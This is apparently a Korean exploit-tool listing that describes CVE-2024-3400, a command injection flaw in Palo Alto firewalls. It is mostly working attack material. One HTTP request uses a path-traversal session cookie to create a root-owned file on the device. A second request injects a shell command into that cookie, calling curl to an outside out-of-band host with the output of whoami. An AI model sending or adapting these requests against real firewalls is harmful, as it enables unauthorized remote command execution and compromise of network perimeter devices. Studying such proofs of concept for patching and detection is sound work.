CVE-2024-3400-poc — CVE-2024-3400에 대한 개념 증명 익스플로잇으로, Palo Alto 방화벽의 명령 주입 취약점을 악용하여 조작된 HTTP 요청을 통해 파일 생성 및 원격 명령 실행을 시연합니다. | Kitploit

공유

CVE-2024-3400 취약점 PoC(검증 도구)

취약점 설명

CVE-2024-3400은 Palo Alto 방화벽 시스템에 존재하는 명령 주입 취약점입니다. 공격자는 정교하게 구성된 HTTP 요청을 통해 대상 서버에서 악성 명령을 실행하고, 심지어 root 권한을 획득할 수 있습니다.

취약점 재현 절차

다음 HTTP 요청을 전송합니다:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

이 요청을 전송한 후, 서버에 hellome1337.txt라는 파일이 생성되며 해당 파일은 root 권한을 갖게 됩니다.

해당 파일에 접근을 시도하면 HTTP 상태 코드 403(금지됨)이 반환되어야 하며, 404(찾을 수 없음)가 아닙니다.

스크린샷은 이 취약점 악용 과정의 효과를 보여줍니다:

명령 주입 예시

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0